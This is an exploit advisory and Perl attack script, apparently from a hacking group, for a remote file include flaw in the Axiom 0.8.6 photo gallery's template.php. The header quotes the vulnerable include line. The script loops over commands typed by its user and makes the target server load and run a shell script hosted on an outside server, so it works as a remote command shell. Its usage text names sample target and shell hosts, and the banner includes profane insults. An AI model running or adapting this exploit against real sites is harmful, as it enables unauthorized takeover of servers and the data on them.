##########################################################################################################
# #
# Axiom 0.8.6 photo gallery (template.php)Remote File Include Vulnerability #
# #
# Bug Found : DeltahackingTEAM discovery:Dr.Pantagon & Exploitet By Dr.Trojan #
# #
# Class: Remote File Include Vulnerability #
# #
# exemplary Exp: http://www.site.com/template.php?baseAxiomPath= #
# #
# Remote: Yes #
# #
# Type: Highly critical #
# #
# Vulnerable Code:include_once($baseAxiomPath . "/themes/sickphp/theme.php"); #
# #
# Download:http://superb-west.dl.sourceforge.net/sourceforge/axiompng/Axiom-0.8.6.tar.gz #
# #
# Ptach : www.Advistory.deltasecurity.ir #
# #
# Bug Found : DeltahackingTEAM Exploitet Discovered &Exploitet: Dr.Trojan<Delta.Secure[A]Gmail.com #
# #
# Exploit: Axiom.pl #
# #
# Web Site:www.deltasecurity.ir <www.PersianWhois.com> #
# #
#SP FUCK.............: z_zer0c00l(floozie Mother Test 100%=z_zer0c00l=misbegotten:D) #
##########################################################################################################

use LWP::UserAgent;
use LWP::Simple;

$target = @ARGV[0];
$shellsite = @ARGV[1];
$shellcmd = @ARGV[2];
$file = "template.php?baseAxiomPath=";

if(!$target || !$shellsite)
{
usage();
}

header();

print "Type 'exit' to quit";
print "[cmd]\$";
$cmd = <STDIN>;

while ($cmd !~ "exit")
{
$xpl = LWP::UserAgent->new() or die;
$req =
HTTP::Request->new(GET=>$target.$file.$shellsite.'?&'.$shellcmd.'='.$cmd)
or die("\n\n Failed to connect.");
$res = $xpl->request($req);
$r = $res->content;
$r =~ tr/[\n]/[ê]/;

if (@ARGV[4] eq "-r")
{
print $r;
}
elsif (@ARGV[5] eq "-p")
{
# if not working change cmd variable to null and apply patch manually.
$cmd = "echo if(basename(__FILE__) == basename(\$_SERVER['PHP_SELF'])) die(); >> list_last.inc";
print q
{

}
}
else
{
print "[cmd]\$";
$cmd = <STDIN>;
}
}

sub header()
{
print q
{
#################################################################################
Only Str0ke
Bug Found : DeltahackingTEAM
Axiom.pl - Remote File Include Exploit
Vulnerability discovered and exploitet by Dr.Trojan&Dr.Pantagon
Delta.Secure@Gmail.com
www.DeltaSecurity.ir & www.PersianWhois.com
#################################################################################
};
}

sub usage()
{
header();
print q
{
########################################################################
Usage:
perl Yrch!.pl <Target website> <Shell Location> <CMD Variable> <-r> <-p>
<Target Website> - Path to target eg: www.lashiyane.org
<Shell Location> - Path to shell eg: d4wood.by.ru/cmd.gif
<CMD Variable> - Shell command variable name eg: Pwd
<r> - Show output from shell
<p> - template.php
Example:
perl Axiom.pl http://localhost/include http://localhost/s.txt cmd -r -p
########################################################################
};
exit();
}